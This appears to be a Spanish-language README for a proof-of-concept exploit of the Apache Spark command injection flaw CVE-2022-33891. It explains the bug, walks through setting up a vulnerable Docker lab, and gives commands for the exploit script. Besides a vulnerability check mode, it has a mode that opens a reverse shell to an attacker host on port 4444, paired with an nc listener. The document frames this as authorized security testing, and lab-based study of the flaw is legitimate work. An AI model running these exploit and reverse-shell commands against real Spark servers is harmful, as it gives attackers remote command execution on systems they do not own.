
Exploit de prueba de concepto para la inyección de comandos en Apache Spark (CVE-2022-33891) con modos de verificación y reverse shell, que permite pruebas de seguridad autorizadas.
⚠️ Solo con fines educativos y de investigación de seguridad autorizada
Muy agradecido al autor original del PoC AkbarTrilaksana
La interfaz de usuario de Apache Spark ofrece la posibilidad de habilitar ACLs mediante la opción de configuración spark.acls.enable. Con un filtro de autenticación, esto verifica si un usuario tiene permisos de acceso para ver o modificar la aplicación. Si las ACLs están habilitadas, una ruta de código en HttpSecurityFilter puede permitir a alguien realizar suplantación de identidad proporcionando un nombre de usuario arbitrario. Un usuario malintencionado podría entonces alcanzar una función de verificación de permisos que eventualmente construirá un comando de shell Unix basado en su entrada y lo ejecutará. Esto resultará en una ejecución arbitraria de comandos de shell como el usuario bajo el cual se está ejecutando Spark. Esto afecta a las versiones de Apache Spark 3.0.3 y anteriores, versiones 3.1.1 a 3.1.2, y versiones 3.2.0 a 3.2.1.
Primero, clona el repositorio
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
Cambia de directorio
cd CVE-2022-33891
Instala las dependencias:
pip3 install -r requirements.txt --break-system-packages
Deja que el contenedor se inicie
docker compose up
En una nueva terminal, ejecuta el comando
docker exec -it CVE-2022-33891-spark-1 /bin/bash
En la sesión bash del contenedor, introduce:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
Opcionalmente, muestra el contenido de spark-defaults.conf con cat para asegurarte de que se vea bien.
Sal de la shell bash interactiva y presiona Ctl-C para detener el proceso de docker-compose.
Una vez que los contenedores se hayan apagado correctamente, vuelve a ejecutar docker-compose up
docker compose up
Verifica si el objetivo es vulnerable:
python3 poc.py -u http://localhost -p 8080 --check
Desde la perspectiva de un atacante, la ejecución remota de código es crítica para obtener acceso a una shell interactiva. Por lo tanto, ejecutar el siguiente comando desencadenaría una shell inversa telnet sobre TCP basada en bash hacia el sistema del atacante en el puerto 4444/tcp:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444